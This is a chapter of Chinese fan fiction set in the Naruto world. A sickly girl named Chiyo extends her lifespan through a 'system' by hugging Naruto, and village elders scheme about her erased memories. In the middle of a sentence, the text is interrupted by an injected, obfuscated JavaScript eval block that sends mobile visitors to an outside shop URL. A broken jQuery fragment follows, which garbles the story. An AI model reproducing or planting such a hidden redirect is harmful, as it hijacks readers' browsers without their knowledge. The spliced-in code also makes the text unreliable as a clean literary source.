窗外的虫声忽然就安静了一瞬,千代愣了一下,漩涡鸣人用认真的眼睛一直注视着她,似乎是下定决心的选择。
千代的眼睛下意识眨快几下,刚才说完那句话,脑子里已经想好了好多套方案,想过漩涡鸣人选择离开的概率更大,也完全不敢想能得到后者的回答。
漩涡鸣人又有点不好意思起来,手指挠挠脸蛋,话里多了几分试探:“那什么,我们不是已经成为朋友了吗,我留下来的话,也方便照顾你上下床,去洗个手什么的……吧?”
漩涡鸣人的眼睛往其他地方瞟,用自认为不经意的余光看过来,观察她的反应。
千代本来还没从漩涡鸣人答应留下来的回答中反应过来,又听到这番话,感觉在做梦。
漩涡鸣人看到她呆愣的表情,试探地喊一句:“千代?你,怎么想啊?”
千代迅速收回思绪,将微情绪掩藏,眼睛一眨不眨地看着漩涡鸣人,心想漩涡鸣人主动了,那现在,应该是提出要求的机会……
“那……我可以,拥抱一下你吗?”
漩涡鸣人迟钝地诶了一声,似乎是没想过会得到这个回答,他的眼睛眨得特别快,把慌乱二字写在脸上,“拥,拥抱吗?哈哈,那什么拥抱的话,我,我也可以的啦……”
那张脸又热又红,眼睛到处看,开始自顾自说起话来,“那个,拥抱什么的,小意思啦,虽然,我,我不是很懂,但是,如果千代你是喜欢抱着东西才能睡,我,我也可以当那个抱枕的……哈哈……哈哈。”
漩涡鸣人的身体绷直得不行,眼睛完全没敢看她,千代完全没听他说什么,豁出去似地抱了上去,那股淡淡沐浴露香味侵入鼻腔,伴随而来的还有那股非常热乎的体温。
【恭喜接触“羁绊体1”,寿命+10小时,现寿命时间为1天1小时35分钟。】
系统提示音在耳边响起,千代只感觉心脏怦怦跳的贼快,她赌对了,拥抱可以增加寿命,还是10小时。
扑通,扑通。
漩涡鸣人的心脏声盖过了虫鸣声,比她的跳得还厉害,她紧张地咽了咽唾沫,慢慢松了手,抬头看向漩涡鸣人,漩涡鸣人正低头看着她,耳朵根红到发烫。
漩涡鸣人的身体,依然僵硬的像块一块木板,那只手臂也一直抬在空气中没动过,整个人局促又拘谨。
他哈哈一笑,声音哑得厉害:“怎,怎么样,是不是比抱枕舒服一点?”
千代小心翼翼地退出来,拉开距离,心里很想再抱一次,可漩涡鸣人快熟透的样子感觉不好再来,她挪了挪位置,让出一半床位,“嗯……你身体很热乎,也像个火炉,不过刚才那个是晚安抱抱,你好像不习惯。”
总要找个理由解释一下,不然以漩涡鸣人的脑袋瓜,可能会追问,又或者一直记着为什么。
晚安抱抱,是最适合的借口。
见千代腾出个位置,才意识到自己的手还保持着想抱又不敢抱动作,漩涡鸣人的脸更红了,像快熟透的小龙虾。
他嘿嘿地放下手,身体仍绷直,紧张到只能继续挠脸蛋转移注意力:“这,这样啊,我也不知道为什么突然变热了,那什么,你不嫌弃就好。”
千代乖乖躺好,重新戴上氧气罩:“为什么会嫌弃你?我们不是朋友吗?你都没有嫌弃我,我为什么要嫌弃你啊。”
漩涡鸣人挠脸蛋的手指停顿,心脏也比刚才跳得更快了,朋友,是啊,他们已经是朋友了,他……拥有了第一个朋友。
不会骂他,不会嫌弃他的朋友。
漩涡鸣人小心翼翼地凑过去,躺在千代身旁,他捂着胸口,心脏一下一下撞在胸骨上好像要冲出来一样。
千代并没注意到漩涡鸣人的动作,见漩涡鸣人凑过来躺下来,就艰难地伸手把灯关了,紧接着又躺回去。
感觉到一条火人躺在身旁,心里不免感慨身体真好,不像她一年到头手脚冰凉的。
窗外的虫鸣声还在继续,盖过了两人的呼吸声,千代面前弹出系统面板,倒计时还在一分一秒跳动,1天寿命,可以让她活到明晚上11点。
白天到晚上那段时间,只要跟漩涡鸣人产生接触,就可以继续增加寿命。
现在具体能拥抱几次还不确定,但可以确定的是,单纯牵手和拥抱,就能让她安稳的度过一整天。
“那个,千代。”漩涡鸣人忽然出声:“你这个腿,要什么时候才能好啊?”
千代侧过头看着身旁人,她看不清身旁人的表情,借着窗外照进来的月光,只能看到大海轮廓,她摇摇头:“我也不是很清楚,但校长给我批了半年假,有句话不是说伤筋动骨一百天吗,我想应该也要小半年才能拆石膏吧。”
漩涡鸣人不开心:“啊?那么久啊?”
千代唉一声:“是啊,这个学期才刚开学我想应该要落下很多课程了,等半年假期用完,我身体恢复的时候,普通学校那边也快过完寒假了。”
漩涡鸣人单纯:“可是半年时间都躺在床上,人会发霉的,到冬天更容易发霉。”
千代噗嗤笑出声:“怎么可能躺半年,拆了石膏我还要练腿,不然以后就要变成小瘸子啦。”
漩涡鸣人尴尬地啊一声,不好意思地挠挠脸蛋,“这样啊,那,那你练腿的时候,可以……可以找我,我陪你一起练。”
“好啊。”千代答应下来:“那我就当是提前在你这里预约了?漩涡老师可不要到时候抛弃我哦。”
“当!当然!”漩涡鸣人的声音不自觉拔高,他开心地拉了拉被子,“那,那我明天放学了,也,也来看你。”
漩涡鸣人忽然伸过来一只手,千代看到是拉钩的小指,没想到漩涡鸣人会继续用拉钩来证明,于是也伸出自己的小手指勾住,“好。”
黑漆漆的病房里,两人的呼吸声慢慢均匀下来,盖着被子熟睡了。
凌晨一点,火影楼办公室灯还亮着,猿飞日斩沉默地看着水晶球,水晶球中只剩黑漆漆画面,他严肃地转过身,看向落地窗外的火影岩。
猿飞日斩怎么也想不明白,千代那天是怎么就那么凑巧被漩涡鸣人救了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822656|211191||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但救了就救了,现在两人扯在一起实在麻烦。
整个木叶村民都知道不能跟漩涡鸣人扯上关系,千代不可能不知道这个规矩,怎么还会做出那种表现,难道是术士封印的范围涵盖了所有记忆,所以忘记了?
那也不对,她还记得学校,记得校长,之前去试探也只是不记得遍体鳞伤的记忆。
猿飞日斩疲惫地揉揉眉眼,除此之外,还有一件事令他想不通。
纲手说千代活不过昨晚,可现在凌晨一点了,千代不仅没死,还活得好好的。
这不正常,难道纲手也有误诊的时候?
“火影大人,团藏大人求见。”
门外突然传来暗卫声音,猿飞日斩转过身,把水晶球收起来,才出声:“进来吧。”
门缓缓推开,志村团藏站在门口,左眼用眼罩遮住,阴沉沉着脸,右手臂夹着两块铁板,用缠满绷带,他走进来时,暗卫适时地把门关上。
猿飞日斩沉默地看着志村团藏,短暂的对视之后,他开口的声音带了点疲态:“团藏,你做的太明显了。”
志村团藏维持三分恭敬,语气却带了七分平起平坐:“日斩,你让她姓漩涡的时候难道就不明显吗,如果不是我又一次用术式封印抹除她这几天的记忆,你觉得你还能当多久的老好人。”
猿飞日斩的呼吸深了一分,“团藏,如果你现在是想来要人,我劝你放弃,你做的太明显了,村子上上下下那么多人盯着,失踪的孤儿太多了。”
志村团藏周身的气压变低,“没价值的东西就该处理掉,你优柔寡断是当上好人了,垃圾事全是我在替你扫。”
猿飞日斩不否认说:“她是弃子,你也已经抹除她的记忆,再大动干戈处理也好,悄无声息处理也罢,但你别忘了,纲手在负责着她,你做的那些事情,我无法回答纲手。”
志村团藏的左手攥紧,生气地走了。
办公室门一开一关,猿飞日斩也呼出一口沉重的气,无奈地靠在椅子上,明天得找纲手见一面才行,问问千代是怎么能活过既定的死亡时间的。
火影楼走廊,志村团藏黑着脸下了楼,拳头越攥越紧,该死的猿飞日斩,居然敢威胁他,老好人当久了,真以为自己是老好人了,也忘了是谁在为木叶付出了。
他停下脚步,回头看火影楼,眼神恨恨地瞪一眼,离开这里。
第二天中午,千代安静地躺在病床上,眼睛盯着系统面板看,倒计时还在跳动,数字又增加了5小时,现在有15小时寿命,她可以活到今晚凌晨三点了。
今天早上,她跟漩涡鸣人来了个早安抱抱,说了句上学注意安全,系统就响起增加5小时寿命,看来拥抱增加的寿命也是按次数递减的,就是不知道可以拥抱几次。
病房门忽然推开,以为是漩涡鸣人放学赶过来,千代正想打招呼,走进来的人是纲手,后背还有静音,静音推着小推车过来。
小推车嘎吱嘎吱响起车轮滚动声,看到里面有各种医用工具,还有几根试管。
千代愣了一下。